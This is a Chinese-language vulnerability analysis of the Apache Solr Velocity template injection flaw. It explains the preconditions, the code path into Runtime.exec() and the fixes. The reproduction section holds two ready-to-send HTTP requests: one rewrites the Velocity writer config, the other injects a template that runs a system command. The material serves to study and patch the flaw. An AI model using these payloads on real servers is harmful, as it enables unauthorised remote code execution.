漏洞分析 - Apache Solr 模版注入漏洞(RCE)
字数 1519 2025-08-26 22:11:34
Apache Solr 模版注入漏洞(RCE) 教学文档
1. 漏洞概述
Apache Solr是一个企业级搜索平台,基于Apache Lucene项目开发。本漏洞涉及Solr中的Velocity模版引擎功能,通过精心构造的HTTP请求,攻击者可以实现远程代码执行(RCE)。
2. 漏洞前置条件
- Solr控制台未设置鉴权(默认配置)或登录凭证被猜出,能够访问Config API
- 目标core(索引库)的solrconfig.xml中配置了VelocityResponseWriter插件:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <!-- something --> </queryResponseWriter>
3. 漏洞复现步骤
第一步:启用Velocity模版参数加载
发送以下HTTP请求启用VelocityResponseWriter插件的params.resource.loader.enabled选项:
POST /solr/core_name/config HTTP/1.1
Host: solr.com:8983
Content-Type: application/json
Content-Length: 293
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
响应说明:
- 200 OK:修改成功,会在/core_name/conf/下创建configoverlay.json文件
- 404:修改失败(通常因为core未配置VelocityResponseWriter插件)
第二步:构造恶意Velocity模版执行命令
构造HTTP请求执行任意系统命令(示例执行ls -a):
GET /solr/core_name/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20-a%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: solr.com:8983
参数解释:
wt=velocity:指定输出格式为velocityv.template:指定模版名称v.template.custom:自定义模版内容(URL编码的Velocity脚本)
4. 漏洞分析
4.1 请求处理流程
-
请求入口:
RequestHandlerBase.handleRequest方法处理HTTP请求HttpSolrCall.writeResponse方法处理响应
-
模版引擎初始化:
QueryResponseWriterUtil.writeQueryResponse调用VelocityResponseWriterVelocityResponseWriter.write方法创建Velocity引擎并处理模版
4.2 关键代码分析
VelocityResponseWriter.createEngine方法
VelocityEngine engine = new VelocityEngine();
if (this.paramsResourceLoaderEnabled) {
loaders.add("params");
engine.setProperty("params.resource.loader.instance", new SolrParamResourceLoader(request));
}
if (this.solrResourceLoaderEnabled) {
loaders.add("solr");
engine.setProperty("solr.resource.loader.instance", new SolrVelocityResourceLoader(request.getCore().getSolrConfig().getResourceLoader()));
}
SolrParamResourceLoader:从HTTP请求参数中加载模版内容SolrVelocityResourceLoader:从Solr配置中加载资源
模版执行流程
VelocityResponseWriter.getTemplate方法从请求参数获取模版内容template.merge(context, writer)执行模版合并- 通过Velocity引擎执行模版中的Java代码,最终调用
Runtime.exec()实现命令执行
4.3 调用栈分析
关键调用栈显示从Velocity模版到Runtime.exec()的执行路径:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:506, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:494, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:198, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:304, ASTReference (org.apache.velocity.runtime.parser.node)
value:605, ASTReference (org.apache.velocity.runtime.parser.node)
value:72, ASTExpression (org.apache.velocity.runtime.parser.node)
render:235, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:377, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:359, Template (org.apache.velocity)
merge:264, Template (org.apache.velocity)
write:166, VelocityResponseWriter (org.apache.solr.response)
...
5. 修复方案
-
设置鉴权:
- 为Apache Solr配置web鉴权(强口令)
- 参考Basic Authentication Plugin
-
根本解决方案:
- 删除solrconfig.xml中与Velocity相关的配置
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <!-- 删除此部分配置 --> </queryResponseWriter>- 删除configoverlay.json文件
-
其他措施:
- 限制Config API的访问
- 更新到最新版本的Solr
6. 总结
本漏洞利用流程为:
- 通过未授权访问或弱口令访问Config API
- 修改VelocityResponseWriter配置,启用参数加载
- 构造恶意Velocity模版实现RCE
关键点:
- Config API默认无鉴权是漏洞利用的前提
- Velocity模版引擎能够执行Java代码是漏洞的本质
- 通过修改配置启用参数加载是漏洞利用的关键步骤